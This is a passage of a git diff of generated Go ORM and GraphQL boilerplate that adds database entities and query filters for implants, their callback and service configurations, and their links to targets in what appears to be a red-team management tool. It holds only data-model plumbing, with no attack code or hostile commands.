&sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := tu.mutation.ImplantsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: target.ImplantsTable, + Columns: []string{target.ImplantsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } if n, err = sqlgraph.UpdateNodes(ctx, tu.driver, _spec); err != nil { if _, ok := err.(*sqlgraph.NotFoundError); ok { err = &NotFoundError{target.Label} @@ -288,6 +379,21 @@ func (tuo *TargetUpdateOne) AddCredentials(c ...*Credential) *TargetUpdateOne { return tuo.AddCredentialIDs(ids...) } +// AddImplantIDs adds the "implants" edge to the Implant entity by IDs. +func (tuo *TargetUpdateOne) AddImplantIDs(ids ...int) *TargetUpdateOne { + tuo.mutation.AddImplantIDs(ids...) + return tuo +} + +// AddImplants adds the "implants" edges to the Implant entity. +func (tuo *TargetUpdateOne) AddImplants(i ...*Implant) *TargetUpdateOne { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return tuo.AddImplantIDs(ids...) +} + // Mutation returns the TargetMutation object of the builder. func (tuo *TargetUpdateOne) Mutation() *TargetMutation { return tuo.mutation @@ -314,6 +420,27 @@ func (tuo *TargetUpdateOne) RemoveCredentials(c ...*Credential) *TargetUpdateOne return tuo.RemoveCredentialIDs(ids...) } +// ClearImplants clears all "implants" edges to the Implant entity. +func (tuo *TargetUpdateOne) ClearImplants() *TargetUpdateOne { + tuo.mutation.ClearImplants() + return tuo +} + +// RemoveImplantIDs removes the "implants" edge to Implant entities by IDs. +func (tuo *TargetUpdateOne) RemoveImplantIDs(ids ...int) *TargetUpdateOne { + tuo.mutation.RemoveImplantIDs(ids...) + return tuo +} + +// RemoveImplants removes "implants" edges to Implant entities. +func (tuo *TargetUpdateOne) RemoveImplants(i ...*Implant) *TargetUpdateOne { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return tuo.RemoveImplantIDs(ids...) +} + // Select allows selecting one or more fields (columns) of the returned entity. // The default is selecting all fields defined in the entity schema. func (tuo *TargetUpdateOne) Select(field string, fields ...string) *TargetUpdateOne { @@ -499,6 +626,60 @@ func (tuo *TargetUpdateOne) sqlSave(ctx context.Context) (_node *Target, err err } _spec.Edges.Add = append(_spec.Edges.Add, edge) } + if tuo.mutation.ImplantsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: target.ImplantsTable, + Columns: []string{target.ImplantsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := tuo.mutation.RemovedImplantsIDs(); len(nodes) > 0 && !tuo.mutation.ImplantsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: target.ImplantsTable, + Columns: []string{target.ImplantsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := tuo.mutation.ImplantsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: target.ImplantsTable, + Columns: []string{target.ImplantsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges.Add = append(_spec.Edges.Add, edge) + } _node = &Target{config: tuo.config} _spec.Assign = _node.assignValues _spec.ScanValues = _node.scanValues diff --git a/ent/tx.go b/ent/tx.go index 21be37b7d..552423e68 100644 --- a/ent/tx.go +++ b/ent/tx.go @@ -16,6 +16,14 @@ type Tx struct { Credential *CredentialClient // File is the client for interacting with the File builders. File *FileClient + // Implant is the client for interacting with the Implant builders. + Implant *ImplantClient + // ImplantCallbackConfig is the client for interacting with the ImplantCallbackConfig builders. + ImplantCallbackConfig *ImplantCallbackConfigClient + // ImplantConfig is the client for interacting with the ImplantConfig builders. + ImplantConfig *ImplantConfigClient + // ImplantServiceConfig is the client for interacting with the ImplantServiceConfig builders. + ImplantServiceConfig *ImplantServiceConfigClient // Target is the client for interacting with the Target builders. Target *TargetClient @@ -155,6 +163,10 @@ func (tx *Tx) Client() *Client { func (tx *Tx) init() { tx.Credential = NewCredentialClient(tx.config) tx.File = NewFileClient(tx.config) + tx.Implant = NewImplantClient(tx.config) + tx.ImplantCallbackConfig = NewImplantCallbackConfigClient(tx.config) + tx.ImplantConfig = NewImplantConfigClient(tx.config) + tx.ImplantServiceConfig = NewImplantServiceConfigClient(tx.config) tx.Target = NewTargetClient(tx.config) } diff --git a/graphql/generated.go b/graphql/generated.go index 2630fb33b..b30887e18 100644 --- a/graphql/generated.go +++ b/graphql/generated.go @@ -806,6 +806,10 @@ input TargetWhereInput { """credentials edge predicates""" hasCredentials: Boolean hasCredentialsWith: [CredentialWhereInput!] + + """implants edge predicates""" + hasImplants: Boolean + hasImplantsWith: [ImplantWhereInput!] } """ @@ -887,6 +891,276 @@ input FileWhereInput { idLT: ID idLTE: ID } + +""" +ImplantWhereInput is used for filtering Implant objects. +Input was generated by ent. +""" +input ImplantWhereInput { + not: ImplantWhereInput + and: [ImplantWhereInput!] + or: [ImplantWhereInput!] + + """sessionID field predicates""" + sessionid: String + sessionidNEQ: String + sessionidIn: [String!] + sessionidNotIn: [String!] + sessionidGT: String + sessionidGTE: String + sessionidLT: String + sessionidLTE: String + sessionidContains: String + sessionidHasPrefix: String + sessionidHasSuffix: String + sessionidEqualFold: String + sessionidContainsFold: String + + """processName field predicates""" + processname: String + processnameNEQ: String + processnameIn: [String!] + processnameNotIn: [String!] + processnameGT: String + processnameGTE: String + processnameLT: String + processnameLTE: String + processnameContains: String + processnameHasPrefix: String + processnameHasSuffix: String + processnameIsNil: Boolean + processnameNotNil: Boolean + processnameEqualFold: String + processnameContainsFold: String + + """id field predicates""" + id: ID + idNEQ: ID + idIn: [ID!] + idNotIn: [ID!] + idGT: ID + idGTE: ID + idLT: ID + idLTE: ID + + """target edge predicates""" + hasTarget: Boolean + hasTargetWith: [TargetWhereInput!] + + """config edge predicates""" + hasConfig: Boolean + hasConfigWith: [ImplantConfigWhereInput!] +} + +""" +ImplantCallbackConfigWhereInput is used for filtering ImplantCallbackConfig objects. +Input was generated by ent. +""" +input ImplantCallbackConfigWhereInput { + not: ImplantCallbackConfigWhereInput + and: [ImplantCallbackConfigWhereInput!] + or: [ImplantCallbackConfigWhereInput!] + + """uri field predicates""" + uri: String + uriNEQ: String + uriIn: [String!] + uriNotIn: [String!] + uriGT: String + uriGTE: String + uriLT: String + uriLTE: String + uriContains: String + uriHasPrefix: String + uriHasSuffix: String + uriEqualFold: String + uriContainsFold: String + + """priority field predicates""" + priority: Int + priorityNEQ: Int + priorityIn: [Int!] + priorityNotIn: [Int!] + priorityGT: Int + priorityGTE: Int + priorityLT: Int + priorityLTE: Int + + """timeout field predicates""" + timeout: Int + timeoutNEQ: Int + timeoutIn: [Int!] + timeoutNotIn: [Int!] + timeoutGT: Int + timeoutGTE: Int + timeoutLT: Int + timeoutLTE: Int + + """interval field predicates""" + interval: Int + intervalNEQ: Int + intervalIn: [Int!] + intervalNotIn: [Int!] + intervalGT: Int + intervalGTE: Int + intervalLT: Int + intervalLTE: Int + + """jitter field predicates""" + jitter: Int + jitterNEQ: Int + jitterIn: [Int!] + jitterNotIn: [Int!] + jitterGT: Int + jitterGTE: Int + jitterLT: Int + jitterLTE: Int + + """id field predicates""" + id: ID + idNEQ: ID + idIn: [ID!] + idNotIn: [ID!] + idGT: ID + idGTE: ID + idLT: ID + idLTE: ID + + """implantConfigs edge predicates""" + hasImplantConfigs: Boolean + hasImplantConfigsWith: [ImplantConfigWhereInput!] +} + +""" +ImplantConfigWhereInput is used for filtering ImplantConfig objects. +Input was generated by ent. +""" +input ImplantConfigWhereInput { + not: ImplantConfigWhereInput + and: [ImplantConfigWhereInput!] + or: [ImplantConfigWhereInput!] + + """name field predicates""" + name: String + nameNEQ: String + nameIn: [String!] + nameNotIn: [String!] + nameGT: String + nameGTE: String + nameLT: String + nameLTE: String + nameContains: String + nameHasPrefix: String + nameHasSuffix: String + nameEqualFold: String + nameContainsFold: String + + """authToken field predicates""" + authtoken: String + authtokenNEQ: String + authtokenIn: [String!] + authtokenNotIn: [String!] + authtokenGT: String + authtokenGTE: String + authtokenLT: String + authtokenLTE: String + authtokenContains: String + authtokenHasPrefix: String + authtokenHasSuffix: String + authtokenEqualFold: String + authtokenContainsFold: String + + """id field predicates""" + id: ID + idNEQ: ID + idIn: [ID!] + idNotIn: [ID!] + idGT: ID + idGTE: ID + idLT: ID + idLTE: ID + + """implants edge predicates""" + hasImplants: Boolean + hasImplantsWith: [ImplantWhereInput!] + + """serviceConfigs edge predicates""" + hasServiceConfigs: Boolean + hasServiceConfigsWith: [ImplantServiceConfigWhereInput!] + + """callbackConfigs edge predicates""" + hasCallbackConfigs: Boolean + hasCallbackConfigsWith: [ImplantCallbackConfigWhereInput!] +} + +""" +ImplantServiceConfigWhereInput is used for filtering ImplantServiceConfig objects. +Input was generated by ent. +""" +input ImplantServiceConfigWhereInput { + not: ImplantServiceConfigWhereInput + and: [ImplantServiceConfigWhereInput!] + or: [ImplantServiceConfigWhereInput!] + + """name field predicates""" + name: String + nameNEQ: String + nameIn: [String!] + nameNotIn: [String!] + nameGT: String + nameGTE: String + nameLT: String + nameLTE: String + nameContains: String + nameHasPrefix: String + nameHasSuffix: String + nameEqualFold: String + nameContainsFold: String + + """description field predicates""" + description: String + descriptionNEQ: String + descriptionIn: [String!] + descriptionNotIn: [String!] + descriptionGT: String + descriptionGTE: String + descriptionLT: String + descriptionLTE: String + descriptionContains: String + descriptionHasPrefix: String + descriptionHasSuffix: String + descriptionEqualFold: String + descriptionContainsFold: String + + """executablePath field predicates""" + executablepath: String + executablepathNEQ: String + executablepathIn: [String!] + executablepathNotIn: [String!] + executablepathGT: String + executablepathGTE: String + executablepathLT: String + executablepathLTE: String + executablepathContains: String + executablepathHasPrefix: String + executablepathHasSuffix: String + executablepathEqualFold: String + executablepathContainsFold: String + + """id field predicates""" + id: ID + idNEQ: ID + idIn: [ID!] + idNotIn: [ID!] + idGT: ID + idGTE: ID + idLT: ID + idLTE: ID + + """implantConfigs edge predicates""" + hasImplantConfigs: Boolean + hasImplantConfigsWith: [ImplantConfigWhereInput!] +} `, BuiltIn: false}, } var parsedSchema = gqlparser.MustLoadSchema(sources...) @@ -4828,8 +5102,8 @@ func (ec *executionContext) unmarshalInputFileWhereInput(ctx context.Context, ob return it, nil } -func (ec *executionContext) unmarshalInputTargetOrder(ctx context.Context, obj interface{}) (ent.TargetOrder, error) { - var it ent.TargetOrder +func (ec *executionContext) unmarshalInputImplantCallbackConfigWhereInput(ctx context.Context, obj interface{}) (ent.ImplantCallbackConfigWhereInput, error) { + var it ent.ImplantCallbackConfigWhereInput asMap := map[string]interface{}{} for k, v := range obj.(map[string]interface{}) { asMap[k] = v @@ -4837,349 +5111,1993 @@ func (ec *executionContext) unmarshalInputTargetOrder(ctx context.Context, obj i for k, v := range asMap { switch k { - case "direction": + case "not": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("direction")) - it.Direction, err = ec.unmarshalNOrderDirection2githubᚗcomᚋkcarrettoᚋrealmᚋentᚐOrderDirection(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("not")) + it.Not, err = ec.unmarshalOImplantCallbackConfigWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantCallbackConfigWhereInput(ctx, v) if err != nil { return it, err } - case "field": + case "and": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("field")) - it.Field, err = ec.unmarshalOTargetOrderField2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTargetOrderField(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("and")) + it.And, err = ec.unmarshalOImplantCallbackConfigWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantCallbackConfigWhereInputᚄ(ctx, v) if err != nil { return it, err } - } - } - - return it, nil -} - -func (ec *executionContext) unmarshalInputTargetWhereInput(ctx context.Context, obj interface{}) (ent.TargetWhereInput, error) { - var it ent.TargetWhereInput - asMap := map[string]interface{}{} - for k, v := range obj.(map[string]interface{}) { - asMap[k] = v - } - - for k, v := range asMap { - switch k { - case "not": + case "or": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("not")) - it.Not, err = ec.unmarshalOTargetWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTargetWhereInput(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("or")) + it.Or, err = ec.unmarshalOImplantCallbackConfigWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantCallbackConfigWhereInputᚄ(ctx, v) if err != nil { return it, err } - case "and": + case "uri": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("and")) - it.And, err = ec.unmarshalOTargetWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTargetWhereInputᚄ(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("uri")) + it.URI, err = ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - case "or": + case "uriNEQ": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("or")) - it.Or, err = ec.unmarshalOTargetWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTargetWhereInputᚄ(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("uriNEQ")) + it.URINEQ, err = ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - case "name": + case "uriIn": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("name")) - it.Name, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("uriIn")) + it.URIIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) if err != nil { return it, err } - case "nameNEQ": + case "uriNotIn": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNEQ")) - it.NameNEQ, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("uriNotIn")) + it.URINotIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) if err != nil { return it, err } - case "nameIn": + case "uriGT": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameIn")) - it.NameIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("uriGT")) + it.URIGT, err = ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - case "nameNotIn": + case "uriGTE": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNotIn")) - it.NameNotIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("uriGTE")) + it.URIGTE, err = ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - case "nameGT": + case "uriLT": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGT")) - it.NameGT, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("uriLT")) + it.URILT, err = ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - case "nameGTE": + case "uriLTE": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGTE")) - it.NameGTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("uriLTE")) + it.URILTE, err = ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - case "nameLT": + case "uriContains": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLT")) - it.NameLT, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("uriContains")) + it.URIContains, err = ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - case "nameLTE": + case "uriHasPrefix": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLTE")) - it.NameLTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("uriHasPrefix")) + it.URIHasPrefix, err = ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - case "nameContains": + case "uriHasSuffix": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContains")) - it.NameContains, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("uriHasSuffix")) + it.URIHasSuffix, err = ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - case "nameHasPrefix": + case "uriEqualFold": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasPrefix")) - it.NameHasPrefix, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("uriEqualFold")) + it.URIEqualFold, err = ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - case "nameHasSuffix": + case "uriContainsFold": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasSuffix")) - it.NameHasSuffix, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("uriContainsFold")) + it.URIContainsFold, err = ec.unmarshalOString2ᚖstring(ctx, v) if err != nil { return it, err } - case "nameEqualFold": + case "priority": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameEqualFold")) - it.NameEqualFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("priority")) + it.Priority, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "nameContainsFold": + case "priorityNEQ": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContainsFold")) - it.NameContainsFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("priorityNEQ")) + it.PriorityNEQ, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "forwardconnectip": + case "priorityIn": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectip")) - it.ForwardConnectIP, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("priorityIn")) + it.PriorityIn, err = ec.unmarshalOInt2ᚕintᚄ(ctx, v) if err != nil { return it, err } - case "forwardconnectipNEQ": + case "priorityNotIn": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipNEQ")) - it.ForwardConnectIPNEQ, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("priorityNotIn")) + it.PriorityNotIn, err = ec.unmarshalOInt2ᚕintᚄ(ctx, v) if err != nil { return it, err } - case "forwardconnectipIn": + case "priorityGT": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipIn")) - it.ForwardConnectIPIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("priorityGT")) + it.PriorityGT, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "forwardconnectipNotIn": + case "priorityGTE": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipNotIn")) - it.ForwardConnectIPNotIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("priorityGTE")) + it.PriorityGTE, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "forwardconnectipGT": + case "priorityLT": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipGT")) - it.ForwardConnectIPGT, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("priorityLT")) + it.PriorityLT, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "forwardconnectipGTE": + case "priorityLTE": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipGTE")) - it.ForwardConnectIPGTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("priorityLTE")) + it.PriorityLTE, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "forwardconnectipLT": + case "timeout": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipLT")) - it.ForwardConnectIPLT, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("timeout")) + it.Timeout, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "forwardconnectipLTE": + case "timeoutNEQ": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipLTE")) - it.ForwardConnectIPLTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("timeoutNEQ")) + it.TimeoutNEQ, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "forwardconnectipContains": + case "timeoutIn": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipContains")) - it.ForwardConnectIPContains, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("timeoutIn")) + it.TimeoutIn, err = ec.unmarshalOInt2ᚕintᚄ(ctx, v) if err != nil { return it, err } - case "forwardconnectipHasPrefix": + case "timeoutNotIn": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipHasPrefix")) - it.ForwardConnectIPHasPrefix, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("timeoutNotIn")) + it.TimeoutNotIn, err = ec.unmarshalOInt2ᚕintᚄ(ctx, v) if err != nil { return it, err } - case "forwardconnectipHasSuffix": + case "timeoutGT": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipHasSuffix")) - it.ForwardConnectIPHasSuffix, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("timeoutGT")) + it.TimeoutGT, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "forwardconnectipEqualFold": + case "timeoutGTE": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipEqualFold")) - it.ForwardConnectIPEqualFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("timeoutGTE")) + it.TimeoutGTE, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "forwardconnectipContainsFold": + case "timeoutLT": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipContainsFold")) - it.ForwardConnectIPContainsFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("timeoutLT")) + it.TimeoutLT, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "id": + case "timeoutLTE": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("id")) - it.ID, err = ec.unmarshalOID2ᚖint(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("timeoutLTE")) + it.TimeoutLTE, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "idNEQ": + case "interval": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNEQ")) - it.IDNEQ, err = ec.unmarshalOID2ᚖint(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("interval")) + it.Interval, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "idIn": + case "intervalNEQ": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idIn")) - it.IDIn, err = ec.unmarshalOID2ᚕintᚄ(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalNEQ")) + it.IntervalNEQ, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "idNotIn": + case "intervalIn": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNotIn")) - it.IDNotIn, err = ec.unmarshalOID2ᚕintᚄ(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalIn")) + it.IntervalIn, err = ec.unmarshalOInt2ᚕintᚄ(ctx, v) if err != nil { return it, err } - case "idGT": + case "intervalNotIn": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGT")) - it.IDGT, err = ec.unmarshalOID2ᚖint(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalNotIn")) + it.IntervalNotIn, err = ec.unmarshalOInt2ᚕintᚄ(ctx, v) if err != nil { return it, err } - case "idGTE": + case "intervalGT": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGTE")) - it.IDGTE, err = ec.unmarshalOID2ᚖint(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalGT")) + it.IntervalGT, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "idLT": + case "intervalGTE": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLT")) - it.IDLT, err = ec.unmarshalOID2ᚖint(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalGTE")) + it.IntervalGTE, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "idLTE": + case "intervalLT": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLTE")) - it.IDLTE, err = ec.unmarshalOID2ᚖint(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalLT")) + it.IntervalLT, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "hasCredentials": + case "intervalLTE": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasCredentials")) - it.HasCredentials, err = ec.unmarshalOBoolean2ᚖbool(ctx, v) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("intervalLTE")) + it.IntervalLTE, err = ec.unmarshalOInt2ᚖint(ctx, v) if err != nil { return it, err } - case "hasCredentialsWith": + case "jitter": var err error - ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasCredentialsWith")) + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("jitter")) + it.Jitter, err = ec.unmarshalOInt2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "jitterNEQ": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("jitterNEQ")) + it.JitterNEQ, err = ec.unmarshalOInt2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "jitterIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("jitterIn")) + it.JitterIn, err = ec.unmarshalOInt2ᚕintᚄ(ctx, v) + if err != nil { + return it, err + } + case "jitterNotIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("jitterNotIn")) + it.JitterNotIn, err = ec.unmarshalOInt2ᚕintᚄ(ctx, v) + if err != nil { + return it, err + } + case "jitterGT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("jitterGT")) + it.JitterGT, err = ec.unmarshalOInt2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "jitterGTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("jitterGTE")) + it.JitterGTE, err = ec.unmarshalOInt2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "jitterLT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("jitterLT")) + it.JitterLT, err = ec.unmarshalOInt2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "jitterLTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("jitterLTE")) + it.JitterLTE, err = ec.unmarshalOInt2ᚖint(ctx, v) + if err != nil { + 